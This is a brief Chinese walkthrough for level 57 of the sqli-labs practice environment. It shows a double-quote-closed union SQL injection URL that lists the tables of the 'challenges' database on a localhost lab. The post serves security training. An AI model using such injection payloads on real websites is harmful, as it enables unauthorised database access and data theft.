Sqli-labs less 57

Less-57

从代码中看到对id进行了 " " 的处理,所以此处我们构造的payload要进行 "" 的处理,示例payload:

http://127.0.0.1/sqli-labs/Less-57/index.php?id=-1"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23

原文地址:https://www.cnblogs.com/lcamry/p/5762650.html